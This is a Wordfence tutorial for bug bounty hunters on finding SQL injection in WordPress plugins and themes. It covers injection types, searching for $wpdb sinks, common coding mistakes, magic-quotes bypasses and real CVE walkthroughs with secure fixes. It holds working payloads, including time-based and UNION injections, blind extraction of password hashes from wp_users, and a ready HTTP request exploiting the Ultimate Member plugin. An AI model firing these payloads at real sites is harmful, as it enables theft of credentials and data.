How To Find SQL Injection Vulnerabilities in WordPress Plugins and Themes

SQL Injection (SQLi), a vulnerability almost as old as database-driven web applications themselves (CWE-89), persists as a classic example of failing to neutralize user-supplied input before it’s used in a SQL query. So why does this well-understood vulnerability type continue to exist?

In the WordPress space, the WordPress core development team has made a number of database functions available via its API. These functions abstract away all the common use-cases for database queries and intend to do so in a way that prevents SQL injection vulnerabilities from being introduced by the developer.

However, creative developers often come up with complex use-cases where these API functions alone are not sufficient to provide functionality that a plugin or theme needs. In other cases, developers are simply not sufficiently familiar with these WordPress core API database functions to use them correctly. In these cases, SQL injection vulnerabilities can still be introduced as evidenced by it being the fourth most common vulnerability disclosed in 2024 in the WordPress ecosystem.

Given its continued prevalence, SQL injection presents a compelling target for bug bounty hunters (and threat actors alike). Because database interaction is fundamental to most plugins and themes, the potential attack surface for SQLi is broad. However, these vulnerabilities can sometimes be challenging to find due to layers of abstraction or complex data flows. This combination of widespread database use and the skill required for discovery means that undiscovered SQL injection vulnerabilities likely remain.

In WordPress, the most common impact of SQL Injection is the exfiltration of sensitive data from the database (e.g., hashed administrator passwords, Personally Identifiable Information (PII), potentially sensitive plugin/theme settings, etc.). While direct Remote Code Execution (RCE) through SQLi is uncommon in standard WordPress/MySQL environments, the severity remains context-dependent. Some plugins or themes might store cleartext API keys or other secrets that, if compromised, could be leveraged by threat actors to gain further access or impact related systems.

💡NOTE: In most cases, SQL Injection in WordPress will only impact confidentiality since MySQL does not support stacked queries (and WordPress doesn’t support PostgreSQL, which does support stacked queries).
💡NOTE: SQL Injection should not be confused with Arbitrary SQL Execution. The former is the industry standard term used to describe user-supplied input being placed (injected) into an existing SQL query while the latter is more rare and a term we (Wordfence) use to describe the execution of any full SQL query supplied by a threat actor. The latter may receive a higher CVSS score than the former.

In this guide we intend to educate you on how SQL injections typically present themselves in a WordPress plugin or theme, the best way to find them, and how to create an effective proof-of-concept to showcase exploitation.

We hope that by providing this guide on how to find SQL injection vulnerabilities in WordPress software, you’ll use the knowledge you’ve gained to participate in the Wordfence Bug Bounty Program, where you can earn up to $31,200 for each vulnerability reported.

💉 The SQLsplorer Challenge 💉

Refine your SQLi hunting skills with an expanded scope.

Now through September 22, 2025, all SQL Injection vulnerabilities in software with at least 25 active installs are considered in-scope for all researchers, regardless of researcher tier AND earn a 20% bonus on all SQL Injection vulnerability submissions.
Submit bold. Earn big.

How SQL Injection Works

Before we understand how SQL Injection (SQLi) works, we must understand how web applications normally interact with the database. Most of you reading this blog post probably know this already. However, you may not be familiar with exactly how this works in the WordPress plugin and theme ecosystem.

The following infographic provides a quick overview of how WordPress plugins and themes perform basic database interactions, using plugins as an example.

A diagram that visualizes WordPress basic database interaction

SQL Injections occur when developers don’t use the correct WordPress API conventions to perform database interactions in conjunction with user-supplied input. The following infographic demonstrates this.

Shoe store search results visualization showcases the difference between a normal search and a search with SQL injection with a visualized explanation of the vulnerability as well as a secure solution.

Types of SQL Injection

Let’s do a quick review of SQL Injection types, their relevancy to WordPress, and get a general idea of how to test for each one.

In-band SQLi

In-band SQL injection is where a request is sent with the intent of getting the results of the attack within the same request.

Error-based SQLi (non-inferential type)

  • Concept: This technique relies on the web application displaying verbose database error messages back to the user. In this non-inferential case, a crafted input that causes an error containing the response of the executed injected SQL query would disclose information within the error message itself.
  • Relevancy to WordPress: WordPress, by default (with the WP_DEBUG directive disabled), tries to suppress PHP errors, but plugin/theme developers might implement custom error handling or directly output database errors. Functions like extractvalue() or updatexml() in MySQL are often used in payloads to trigger informative errors.
  • Exploitation: Inputting a single quote ' into a vulnerable parameter often breaks the query and might trigger an error that reveals information. Advanced payloads might use techniques like AND extractvalue(rand(),concat(0x3a,(SELECT @@version))). This payload intentionally triggers an invalid XPath argument, forcing the database error message to contain the output of (SELECT @@version).

UNION-based SQLi

  • Concept: This technique uses the SQL UNION operator to combine the results of the original, legitimate query with results from an injected query. This allows retrieval of data from other tables or columns within the database, and have it displayed as part of the application’s normal output.
  • Relevancy to WordPress: This typically occurs when a vulnerable query is used to fetch and display multiple data points (e.g., a list of products, posts, user details, etc.). In order for this to work, the query needs to match the number and data types of columns in the original query’s SELECT statement, else the query will fail.
  • Exploitation: '-1' UNION SELECT @@version, @@datadir -- - (The -1 makes the original query return no results, the -- - comments out the rest of the original query, and we’re returning two columns. The number of columns in UNION SELECT must match the original query). You could also use NULL if the column datatype is not known: '-1' UNION SELECT @@version, NULL -- -.

Blind (Inferential) SQLi

Blind SQL Injection should be used when the application doesn’t directly return data or database errors in its HTTP responses. Blind SQLi payloads leverage specifically crafted queries to observe a response discrepancy as a way to infer information in (or about) the database. This is the most prevalent type of SQL Injection found in WordPress plugins and themes.

Boolean-based Blind SQLi

  • Concept: This technique sends SQL payloads designed to ask the database a series of true/false questions. The application’s response will change depending on whether the question evaluates to true or false.
  • Relevancy to WordPress: Look for situations where input slightly changes the page output in a binary way (e.g., “Search results found” vs. “No results,” or an item appearing/disappearing).
  • Exploitation: You might try AND SUBSTRING((SELECT password FROM wp_users WHERE ID = 1), 1, 1) = 'a' -- - with a WHERE clause of a SELECT statement as the injection context or 1+AND+(SELECT+ASCII(SUBSTRING((SELECT+USER()),1,1))=97) where 97 represents the ASCII letter a and the injection context is a place where a number is expected (like id). Here, you’ll send multiple requests that iterate through characters and positions to reconstruct data received in responses.

Time-based Blind SQLi

  • Concept: Similar to Boolean-based SQL injection but the SQL payload leverages the SLEEP() or BENCHMARK() functions to implement a time-based response discrepancy when a condition is true. By measuring the server’s response time, the attacker can infer the truth of the condition.
  • Relevancy to WordPress: This is one of the most common forms of blind SQLi. If you can inject SQL and suspect a vulnerability but see no direct output or error changes, testing for time delays is a good next step.
  • Exploitation: Again, depending on injection context, you might try something like 1) AND SLEEP(10)-- -. If the condition incorporating SLEEP(10) evaluates to true, you should expect a ~10 second delay in the server’s response.
💡 NOTE: Sometimes delays can be doubled, tripled, quadrupled, and so on depending on how many times the query is executed (for example, in a for loop).

Error-based Blind SQLi (inferential-type)

  • Concept: Similar to Boolean-based and Time-based SQL injection but the SQL payload leverages errors to implement a true/false response discrepancy. By reviewing the server’s error response (or lack thereof, if errors are suppressed for one case), we can infer truthy or falsy values.
  • Relevancy to WordPress: Similar to Boolean-based SQLi, but relies on the application displaying a detectable difference in behavior when a SQL error is triggered conditionally versus when it’s not (e.g., a generic error page vs. a normal page). This is less common than direct error-based exfiltration because WordPress tends to suppress detailed errors.
  • Exploitation: Environment and injection context dependent.
💡NOTE: You may notice the example SQL injection payloads above using -- - instead of just -- for comments. In SQL, -- requires a space after it to form a valid comment. However, web applications, URL parsers, or input processing might strip trailing spaces, potentially breaking the comment syntax. Using -- - ensures there’s always a non-space character after the comment delimiter, making the payload more reliable across different contexts. This is why -- - has become a common convention in SQL injection testing.

Second-Order SQL Injection

  • Concept: Second-order (or stored) SQL injection occurs when malicious input is stored in the database and later retrieved and used in an unsafe SQL query. The injection happens in two stages: first the payload is stored (often properly escaped), then it’s retrieved and executed unsafely in a different context.
  • Relevancy to WordPress: Common in plugins that duplicate posts/pages, process stored metadata, or perform bulk operations on existing data. The vulnerability often arises when developers assume data from the database is “safe” because it was previously stored.
  • Exploitation: Insert payloads into stored fields (post meta, user meta, options) and trigger operations that use this data unsafely (duplication, export, bulk updates). Example: `test’ OR SLEEP(5)– `stored in post meta, then executed during page duplication.

How to Find SQLi in WordPress (General Approach)

Finding a SQL Injection (SQLi) vulnerability in WordPress plugins and themes is fundamentally about identifying database interaction points (sinks), tracing the data used in these interactions back to user-controllable inputs (sources), and identifying what sanitization, validation, or query preparation mechanisms in the data flow might prevent (or fail to prevent) a vulnerability from being introduced. WordPress core itself has a mature API designed to prevent SQLi, so our primary focus is typically on custom code within plugins and themes.

This can be a difficult, time-consuming process. Many plugins and themes interact with the database using hard-coded queries (where the query structure cannot be influenced by user-supplied input) or have several layers of abstraction that can obscure the data flow.

Finally, because there are several WordPress methods for database interaction, a comprehensive approach from a static analysis perspective often involves:

  1. Identifying Potential Sinks: Searching for code patterns indicative of direct database queries (e.g., using regular expressions to find uses of $wpdb and other methods).
  2. Data Flow (taint) Analysis: Sifting through code to trace data from user-controllable sources to these database sinks, looking for any transformations or sanitization applied.
  3. Pattern Recognition: Applying a mental checklist of common SQLi vulnerability patterns (e.g., lack of or incorrect use of $wpdb->prepare, direct concatenation) and secure coding anti-patterns.
  4. Note Taking: Creating a physical checklist of potentially vulnerable lines of code for dynamic testing and verification.
  5. Dynamic Verification: Confirming potential vulnerabilities through dynamic testing, which may involve manually crafting inputs, debugging, and using automated tools like SQLmap to verify exploitability.

Using a systematic methodology like this will ensure results in the most efficient and effective way possible.

Static Analysis and Dynamic Analysis (Brief Recap)

To effectively hunt for SQL Injection vulnerabilities, you’ll need to use two primary vulnerability analysis methodologies: Static Analysis, which involves examining the application’s source code without executing it to understand its logic and data flow, and Dynamic Analysis, which involves testing the live application by interacting with it, debugging, and observing its responses.

These are fundamental concepts for vulnerability research in any ecosystem. We’ve defined static and dynamic code analysis in more detail in our How To Find XSS Vulnerabilities guide, and reviewed the fundamentals of static code analysis in our WordPress Security Architecture post.

If you’re not thoroughly familiar with these concepts, we highly recommend giving those sections a read before continuing, as a solid understanding of both is important for the techniques discussed next.

Finding SQLi Vulnerabilities in WordPress Plugins and Themes

To find SQL injection vulnerabilities, you’ll need to know what to search for in plugin or theme code. As mentioned in the introduction, WordPress core provides a number of database functions through its API. These functions are made available through the $wpdb class.

Using your Integrated Development Environment (IDE), you can start by searching plugin or theme code for $wpdb.

A search for "$wpdb" in Visual Studio Code
Figure 1: Searching for $wpdb within the WordPress wp-content/plugins directory

You can also search for esc_sql(), which is a function designed to escape quotes within strings. For example, esc_sql() would turn Bob's Burgers into Bob's Burgers. As you can see, the single-quote is escaped, allowing it to be placed inside an SQL query.

Finally, you can search for other keywords that are typically used in SQL queries like SELECT, INSERT, ORDER BY, UPDATE, DELETE, and so on.

However, note that earlier in this post, we mentioned that the ideal place to start is by identifying sinks. If you search for keywords like SELECT or INSERT these will eventually make their way into a string that’s processed by a $wpdb method (or a custom wrapper around it). They’re also common words, so they might be found in comments, documentation, variable names, array keys, and so forth. To prevent unnecessary noise in your search results, searching for $wpdb methods and working your way backward from there will be the most efficient way to find vulnerabilities.

We can take this information and develop a regular expression designed to get us an ideal starting search for SQLi:

  $wpdb->(?:query|prepare|get_var|get_row|get_col|get_results)s*(|besc_sqls*(

Let’s break this regular expression down piece by piece:

  1. $wpdb-> – Matches the literal text $wpdb-> (the escapes the $ since it’s a special regex character)
  2. (?:...) – A non-capturing group that contains multiple options
  3. query|prepare|get_var|get_row|get_col|get_results – Matches ANY ONE of these method names (the | means “OR”)
  4. s* – Matches zero or more whitespace characters (spaces, tabs, newlines)
  5. ( – Matches a literal opening parenthesis (
  6. | – The main OR operator – this regex matches EITHER the pattern before it OR after it
  7. besc_sql – Matches the word esc_sql with a word boundary (b) to ensure it’s not part of another word
  8. s*( – Again matches optional whitespace followed by an opening parenthesis

In other words, this regex finds code that either:

  • Calls any of the main $wpdb database methods (like $wpdb->query( or $wpdb->prepare()
  • OR calls the esc_sql( function

Using the regular expression search in Visual Studio Code within a specific plugin directory
Figure 2: Using the regular expression search in Visual Studio Code within a specific plugin directory

WordPress Database Functions and $wpdb

At the center of most custom database operations in WordPress plugins and themes is the global $wpdb object. This object is WordPress’s primary abstraction layer for interacting with the database, providing a suite of methods to execute queries, fetch results, and manipulate data.

In our WordPress Security Architecture post, we’ve already detailed the common $wpdb methods you’ll encounter, including:

  • Data Retrieval: $wpdb->get_results(), $wpdb->get_row(), $wpdb->get_col(), and $wpdb->get_var().
  • General Query Execution: $wpdb->query().
  • Data Manipulation: $wpdb->insert(), $wpdb->update(), and $wpdb->delete().
  • Query Preparation: The vital $wpdb->prepare() method, designed to protect against SQL injection by properly escaping and formatting query parameters.
  • SQL String Escaping: The esc_sql() helper function, used for escaping strings intended for use within SQL queries. Not to be confused with the functionality of escaping functions designed to prevent XSS.

For a detailed explanation of each of these methods, their typical usage patterns, and a foundational understanding of how WordPress handles database interactions and SQL, please refer to the “Database Interactions and SQL” section of our Security Architecture guide.

Understanding the purpose of these functions is the first step. For SQL Injection research, our focus narrows significantly: we’re primarily interested in how user-supplied input is handled before and when it’s passed to these methods, especially those that execute raw or prepared SQL statements. The security of these interactions often hinges on the correct and consistent use of $wpdb->prepare().

The Role of $wpdb->prepare()

As mentioned in the “Database Interactions and SQL” section of our Security Architecture guide, most SQL queries should be parameterized using $wpdb->prepare() to prevent SQL injection. However, the use of $wpdb->prepare() alone does not eliminate SQL injection as evidenced by CVE-2024-4344, where $wpdb->prepare() is used, but without the required format strings.

$term_ids_format = esc_sql( join( ',', $filter->term_ids ) );
$filter->where[] = $this->wpdb->prepare( 'AND tx.term_id IN (' . $term_ids_format . ')' );

This means that, as a vulnerability researcher, you should not immediately dismiss code that looks like it may be protected with $wpdb->prepare().

If you’re not familiar with $wpdb->prepare() please make sure to review the examples of correct and incorrect usage. By familiarizing yourself with proper and improper usage, you’ll be able to spot these lines of code during static analysis easily.

Common Mistakes and Vulnerability Patterns

Based on analysis of real-world SQL injection vulnerabilities discovered in WordPress plugins and themes, virtually all SQL injection vulnerabilities stem from just four fundamental mistakes. Understanding these patterns will help you identify potential vulnerabilities more efficiently during code review.

1. Direct Concatenation of User Input into SQL Queries

The most common and dangerous pattern is directly concatenating user-supplied input into SQL queries without proper escaping or parameterization. This occurs when developers build dynamic queries using string concatenation.

Examples from real vulnerabilities:

// CVE-2024-12025 - Collapsing Categories Plugin (REST API endpoint)
$taxonomyQuery = "'$taxonomy'"; // Direct injection point
$postquery = "...AND tt.taxonomy IN ($taxonomyQuery)...";
// Note: This vulnerability only works because it's in a REST API endpoint
// which calls wp_unslash() on input, removing WordPress's magic quotes protection

// CVE-2024-2831 - Calendar Plugin  
$cat_sql = 'AND event_category in ('.$cat_list.')'; // Direct injection point
$sql = "SELECT * FROM calendar WHERE ... ".$cat_sql;

Why this is dangerous: User input flows directly into the SQL query without any protection. Even basic payloads like ' OR 1=1-- can completely compromise the query logic.

💡NOTE: For the CVE-2024-12025 example, this quote-based SQL injection only works because the vulnerable code is in a REST API endpoint. The WordPress REST server explicitly unslashes query parameters with $request->set_query_params( wp_unslash( $_GET ) );, removing magic quotes. This same vulnerability would NOT work in an AJAX handler or regular page request due to WordPress’s automatic wp_magic_quotes()`.

2. Incorrect Assumption that XSS Sanitization Functions Protect Against SQL Injection

Developers might incorrectly assume that WordPress sanitization/escaping functions designed to prevent XSS (like sanitize_text_field(), esc_html(), etc.) will also protect against SQL injection or any vulnerabilities that is derived from a lack of input validation or sanitization. This is a fundamental misunderstanding.

Examples from real vulnerabilities:

// CVE-2024-1071 - Ultimate Member Plugin
$sortby = sanitize_text_field( $_POST['sorting']); // XSS protection only
$this->sql_order = " ORDER BY u.{$sortby} {$order} "; // Still vulnerable to SQLi

// CVE-2022-46859 - Spiffy Calendar Plugin
$orderby = esc_sql($_REQUEST['orderby']); // Partial protection
$sql = "...ORDER BY $orderby $order"; // Still vulnerable in ORDER BY context as the payload does not need quotes

// CVE-2024-13844 - Post SMTP Plugin
$order_by = sanitize_text_field($_GET['columns'][...]['data']); // XSS protection only
$this->query .= " ORDER BY {$orderby_sql}"; // Still vulnerable to SQLi

Why this does not work: Functions like sanitize_text_field() remove HTML tags and encode some special characters, but they don’t escape SQL metacharacters like single quotes in the context of SQL queries. Even esc_sql() only escapes quotes and backslashes – it doesn’t prevent injection in ORDER BY clauses or other SQL contexts (where quotes are not needed nor used).

3. Incorrect Usage of $wpdb->prepare()

Even when developers attempt to use $wpdb->prepare() correctly, they often make mistakes that render it ineffective.

Common $wpdb->prepare() mistakes:

// WRONG: Concatenating before prepare
$wpdb->prepare("SELECT * FROM table WHERE column = '" . $user_input . "'");

// WRONG: Missing placeholders
$wpdb->prepare("SELECT * FROM table WHERE column = $user_input");

// WRONG: Concatenating prepared and unprepared parts
$wpdb->prepare("SELECT * FROM table WHERE id = %d", $id) . " ORDER BY $user_column";

The correct approach:

// CORRECT: Use placeholders for all data values
$wpdb->prepare("SELECT * FROM table WHERE column = %s AND id = %d", $value, $id);

4. Lack of Type Casting for Numeric Values

When dealing with numeric parameters, developers often fail to cast them to integers, leaving them vulnerable to SQL injection even in numeric contexts. Note that this would be rectified if $wpdb->prepare() was used with the %d placeholder.

Vulnerable pattern:

$id = $_GET['id']; // Could be "1 OR 1=1"
$sql = "SELECT * FROM table WHERE id = $id"; // Vulnerable

Secure approach:

$id = (int) $_GET['id']; 
// or intval($_GET['id'])
$sql = "SELECT * FROM table WHERE id = $id"; // Safe - always numeric

Understanding WordPress’s wp_magic_quotes() Protection

WordPress automatically applies wp_magic_quotes() to superglobal data, which escapes quotes. This means queries like the following are NOT vulnerable because an injection attempt like 1' OR 1=1-- becomes 1' OR 1=1--, resulting in the safe query: SELECT * FROM wp_posts WHERE ID = '1' OR 1=1--'.

$post_id = $_GET['post_id']; // Automatically escaped by wp_magic_quotes()
$query = "SELECT * FROM wp_posts WHERE ID = '" . $post_id . "'";

// OR

$post_id = $_GET['post_id']; // Automatically escaped by wp_magic_quotes()
$query = 'SELECT * FROM wp_posts WHERE ID = "' . $post_id . '"';

However, this protection is limited to:

  • String contexts where values are wrapped in quotes
  • Direct superglobal access (not processed/passed through functions)

It does NOT protect against:

  • Numeric contexts without quotes: WHERE ID = $post_id
  • ORDER BY clauses: ORDER BY $column_name
  • Column/table names: SELECT $column FROM $table
  • LIMIT clauses: LIMIT $limit
  • Complex data flows where input is processed before use

Exception One: Data Consumed via php://input Never Gets Magic Quotes

When data is consumed via php://input by the developer, it completely bypasses PHP’s superglobals and therefore never gets magic quotes applied.

One example of this behavior is when a POST request with a JSON body is sent with Content-Type: application/json. WordPress handles this request using php://input because JSON data must be read directly from the request body. Since $_POST is empty, wp_magic_quotes() has nothing to escape.

This affects all WordPress endpoints that consume input from php://input:

// AJAX handler processing JSON
add_action('wp_ajax_process_json', function() {
    // When Content-Type: application/json, $_POST is empty 
    $json = file_get_contents('php://input');
    $data = json_decode($json, true);
    
    $name = $data['name']
  ; // "Bob's Shop" - no magic quotes
    $sql = "SELECT * FROM table WHERE name = '$name'"; // vulnerable
});

// Custom plugin endpoint
if ($_SERVER['CONTENT_TYPE']
   === 'application/json') {
    $json = file_get_contents('php://input');
    $data = json_decode($json, true);
    
    $search = $data['search']
  ; // "Bob's Shop" - no magic quotes 
    $wpdb->query("SELECT * FROM posts WHERE title = '$search'"); // vulnerable 
}

// WordPress REST API also reads JSON this way
// In wp-includes/rest-api/class-wp-rest-server.php
public static function get_raw_data() {
    global $HTTP_RAW_POST_DATA;
    if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
        $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
    }
    return $HTTP_RAW_POST_DATA;
}

Exception Two: REST API Removes Magic Quotes from Form Data

In addition to the JSON issue above, the WordPress REST API has another consideration: it explicitly removes magic quotes from regular form data. While wp_magic_quotes() is applied during WordPress initialization, the REST API server undoes this:

 // In wp-includes/rest-api/class-wp-rest-server.php
$request->set_query_params( wp_unslash( $_GET ) );
$request->set_body_params( wp_unslash( $_POST ) );
$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );

This means when sending regular form data (application/x-www-form-urlencoded):

  • Normal WordPress requests (pages, AJAX): $_POST['name'] containing Bob's Shop is escaped to Bob's Shop
  • REST API requests: The same input is unslashed back to Bob's Shop

Example:

// AJAX handler with form data
add_action('wp_ajax_my_action', function() {
    $name = $_POST['name']
  ; // "Bob's Shop" is "Bob's Shop" (magic quotes applied)
    $sql = "SELECT * FROM table WHERE name = '$name'"; // Protected by magic quotes
});

// REST API endpoint with form data
register_rest_route('myplugin/v1', '/search', array(
    'callback' => function($request) {
        $name = $request->get_param('name'); // "Bob's Shop" (unslashed) 
        $sql = "SELECT * FROM table WHERE name = '$name'"; // vulnerable 
    }
));

This is why CVE-2024-12025 specifically affects a REST API endpoint – the same code would be protected in a regular AJAX handler.

Recap:

  • Data from php://input: Never gets magic quotes in ANY WordPress context, unless explicitly applied by the developer.
  • REST API with form data: Magic quotes are applied then removed
  • REST API with JSON: Never had magic quotes to begin with (due to php://input use)

Real-World SQLi Data Flow Examples

Here are some examples of how these mistakes manifest in real-world vulnerabilities.

CVE-2024-1071 (Ultimate Member Plugin)

This vulnerability demonstrates both Mistake (Direct Concatenation) and Mistake (Incorrect XSS Sanitization Assumption).

Mermaid source to sink flow diagram of CVE-2024-1071, a SQL injection vulnerability in the Ultimate Member Plugin

Vulnerability Analysis:

  1. Source (User Input): AJAX POST parameter sorting from member directory filters
  2. Inadequate Sanitization: sanitize_text_field() only removes HTML/script tags – doesn’t prevent SQL injection
  3. Sink (SQL Query): Direct concatenation at line 820: $this->sql_order = " ORDER BY u.{$sortby} {$order} ";
  4. Exploitation: Attacker injects SQL via sorting parameter: user_login, SLEEP(5)

Attack Payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=um_get_members&directory_id=2d7fb&sorting=user_login,%20SLEEP(5)

This results in the SQL query containing:

SELECT SQL_CALC_FOUND_ROWS DISTINCT u.ID 
FROM wp_users AS u 
WHERE 1=1 
ORDER BY u.user_login, SLEEP(5) ASC

Secure Fix:

// Allowlist approach for ORDER BY
$allowed_columns = ['user_login', 'user_email', 'user_registered'];
$sortby = in_array($_POST['sorting'], $allowed_columns) ? $_POST['sorting']: 'user_login';
$this->sql_order = " ORDER BY u.{$sortby} {$order} ";

CVE-2024-2831 (Calendar Plugin)

This vulnerability demonstrates Mistake (Direct Concatenation) with no sanitization whatsoever.

Mermaid source to slink flow diagram of CVE-2024-2831, a SQL injection vulnerability in the Calendar Plugin.

Vulnerability Analysis:

  1. Source (User Input): WordPress shortcode attribute categories from content/widget
  2. No Sanitization: The categories value flows through multiple functions without any sanitization
  3. Sink (SQL Query): Direct concatenation at line 2372: $cat_sql = 'AND event_category in ('.$cat_list.')'
  4. Exploitation: Attacker injects SQL via the categories attribute: 1) OR SLEEP(5)-- -

Attack Payload:

[calendar categories="1) OR SLEEP(5)-- -"]

This results in the SQL query containing:

SELECT * FROM wp_calendar 
WHERE event_begin <= '2024-01-01' 
AND event_end >= '2024-01-01' 
AND event_recur = 'S' 
AND event_category in (1) OR SLEEP(5)-- -)

Secure Fix:

// Whitelist or validate category IDs
$cat_list = array_map('intval', explode(',', $cat_list));
$cat_list = implode(',', $cat_list);
$cat_sql = empty($cat_list) ? '' : 'AND event_category IN (' . $cat_list . ')';
  

Duplicate Page Plugin Vulnerability (Second-Order SQL Injection)

This vulnerability demonstrates a particularly dangerous pattern that affected over 100 WordPress plugins with page/post duplication functionality. The vulnerability originates from widely-copied code from a popular 2013 blog post.

Mermaid diagram of source to sink data flow for Duplicate Page Plugin Vulnerability (Second-Order SQL Injection).

Vulnerability Analysis:

  1. Stage 1 – Storage (Safe): Contributor+ user creates a post with custom meta. WordPress properly escapes the data when storing.
  2. Stage 2 – Retrieval (Unsafe): When duplicating, the plugin retrieves meta data and directly concatenates the meta_key into SQL
  3. Critical Flaw: The $meta_key is directly inserted into the SQL query without proper escaping (some plugins attempt sanitize_text_field() which is insufficient for SQL context)
  4. Attack Vector: Malicious SQL payload in meta_key is executed during duplication process

Vulnerable Code Pattern:

/*
 * duplicate all post meta
 */
$post_meta_infos = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->postmeta WHERE post_id=$post_id");
if (count($post_meta_infos)!=0) {
    $sql_query = "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) ";
    foreach ($post_meta_infos as $meta_info) {
        $meta_key = $meta_info->meta_key;  // No escaping!
        // Note: Some plugins like Duplicate Page use sanitize_text_field($meta_key) here
        // but this is insufficient - it only removes HTML/scripts, not SQL metacharacters
        $meta_value = addslashes($meta_info->meta_value);  // Insufficient escaping
        $sql_query_sel[]= "SELECT $new_post_id, '$meta_key', '$meta_value'";
    }
    $sql_query.= implode(" UNION ALL ", $sql_query_sel);
    $wpdb->query($sql_query);  // Direct execution without prepare()
}
  

Attack Flow & Exploitation:

    1. Login as Contributor – Minimal privileges required
    2. Create and publish a post
    3. Add malicious meta with SQL payload in the key:
    injection_string = "2', '1' UNION ALL SELECT 1,2,(SELECT CASE WHEN ASCII(SUBSTRING((%s),%d,1))='[CHAR]
    ' THEN SLEEP(10) else SLEEP(0) END);-- -"
  
  1. Trigger duplication – When a user duplicates the post, often available to the same level user, SQL injection executes
  2. Extract data – Time-based blind extraction of usernames and password hashes

Example Attack Payload:

# Meta key contains:
2', '1' UNION ALL SELECT 1,2,(SELECT CASE WHEN ASCII(SUBSTRING((select user_login from wp_users where id=1),1,1))='a' THEN SLEEP(10) else SLEEP(0) END);-- -

# When duplicated, becomes:
INSERT INTO wp_postmeta (post_id, meta_key, meta_value) 
SELECT 123, '2', '1' UNION ALL SELECT 1,2,(SELECT CASE WHEN ASCII(SUBSTRING((select user_login from wp_users where id=1),1,1))='a' THEN SLEEP(10) else SLEEP(0) END);-- -', 'test'
  

Secure Fix:

// Option 1: Use WordPress built-in function
foreach ($post_meta_infos as $meta_info) {
    add_post_meta($new_post_id, $meta_info->meta_key, $meta_info->meta_value);
}

// Option 2: Use $wpdb->insert() with proper formatting
foreach ($post_meta_infos as $meta_info) {
    $wpdb->insert(
        $wpdb->postmeta,
        array(
            'post_id' => $new_post_id,
            'meta_key' => $meta_info->meta_key,
            'meta_value' => $meta_info->meta_value
        ),
        array('%d', '%s', '%s')
    );
}

// Option 3: If bulk insert needed, use prepare()
$values = array();
foreach ($post_meta_infos as $meta_info) {
    $values[] = $wpdb->prepare("(%d, %s, %s)", 
        $new_post_id, 
        $meta_info->meta_key, 
        $meta_info->meta_value
    );
}
if (!empty($values)) {
    $wpdb->query("INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) VALUES " . implode(',', $values));
}
  
💡 Key Lesson: Sometimes developers will trust data just because it came from the database.

CVE-2024-4434 (LearnPress)

In the following video, you can watch a detailed, step-by-step technical walkthrough of CVE-2024-4434 — an SQL Injection vulnerability found in the LearnPress plugin for WordPress, versions 4.2.6.5 and earlier.

Methodology: Step-by-Step SQLi Hunting Process

Finding SQL injection vulnerabilities in WordPress plugins and themes requires a systematic approach. Here, we outline a foundational methodology that will increase your chances of success. However, it’s important to note that finding any vulnerability takes time and practice. The more time you spend practicing this methodology, the faster you’ll get at spotting mistakes and finding vulnerabilities.

Step 1: Target Selection and Discovery

With over 59,000 plugins and 13,000 themes in the WordPress plugins and themes repositories, you need to narrow your scope. Use a tool like WPDirectory.net with our SQLi regex pattern to identify potential targets:

    $wpdb->(?:query|prepare|get_var|get_row|get_col|get_results)s*(|besc_sqls*(
  

This search reveals plugins or themes actively using database functions. Because most plugins and themes utilize the database, you will still have a lot of results to choose from.

You can filter results based on your goals:

  • For an in-scope submission to the Wordfence Bug Bounty Program, focus on plugins with sufficient active installations
  • For learning, choose simpler plugins with fewer active installations
  • For maximum impact and payout, target plugins with large active installations
  • Premium plugins, especially those on certain WordPress marketplaces, are less scrutinized (if at all) for security issues. However, these require an upfront investment of purchasing the plugin or theme.

Download 5-10 promising candidates to start.

Step 2: Static Analysis Setup

Open your downloaded plugins in Visual Studio Code and run the same regex search across all files. This quickly highlights every database interaction point:

Visual Studio Code regular expression search for wpdb calls in all installed plugins.
Figure 3: Using the regular expression search in Visual Studio Code within a specific plugin directory

💡Pro tip: Use VS Code’s search sidebar to navigate between results efficiently

Step 3: Create Your Hit List

As you review each search result, build a checklist of potentially vulnerable patterns. Look for:

  • Direct concatenation: "WHERE id = " . $_GET['id']
  • Misused sanitization: sanitize_text_field() before SQL queries
  • Incomplete $wpdb->prepare(): Missing placeholders or concatenated sections
  • Dynamic ORDER BY/LIMIT clauses

Your checklist might look like:

[ ] plugin-name/includes/ajax.php:142 - ORDER BY concatenation
[ ] plugin-name/admin/reports.php:89 - Direct $_GET in WHERE clause  
[ ] plugin-name/public/search.php:234 - esc_sql() in ORDER BY
  

Step 4: Trace the Taint (Data Flow Analysis)

For each item on your checklist, perform backwards taint analysis:

  1. Start at the sink (the database query)
  2. Trace backwards to find where the data originates
  3. Note transformations applied along the way
  4. Identify the source (user input, database, hardcoded values)

If user input reaches the sink without proper sanitization, you’ve likely found a vulnerability.

Step 5: Dynamic Verification

Install the plugin or theme in a local WordPress environment and use debugging to confirm potential vulnerabilities:

  1. Set breakpoints on your suspicious lines
  2. Trigger the code path through the browser, Burp, Caido, cURL, etc.
  3. Inspect variables to see exactly how your input is processed
  4. Examine the final SQL query before execution

Debugging will reveal certain details allowing you to further prune your checklist:

  • Required authentication/authorization
  • Input transformations or filters
  • The exact injection context (numeric, string, etc.)
  • Any length or character restrictions

Step 6: Payload Crafting and Exploitation

Based on your debugging insights, you can craft appropriate payloads:

  • Numeric context: 1 AND SLEEP(5)
  • String context: ' OR SLEEP(5)-- -
  • ORDER BY context: user_login, SLEEP(5)

Test incrementally:

  1. Start with benign input to ensure normal functionality
  2. Add SQL syntax to test for injection
  3. Use time-based payloads for blind SQLi confirmation
💡NOTE: For the Wordfence Bug Bounty Program, simple proof of injection, such as a working SLEEP() is sufficient to get valid submission.

Step 7: Document and Verify

Before reporting:

  • Capture the complete request/response flow
  • Document the exact injection point and context
  • Create a minimal proof-of-concept
  • Test on a fresh installation to ensure reproducibility

This methodology ensures your SQL injection hunting isn’t random searching and is a systematic process. With practice, you’ll develop intuition for vulnerable patterns and can quickly zero in on the most promising targets.

Common SQL Injection Payloads

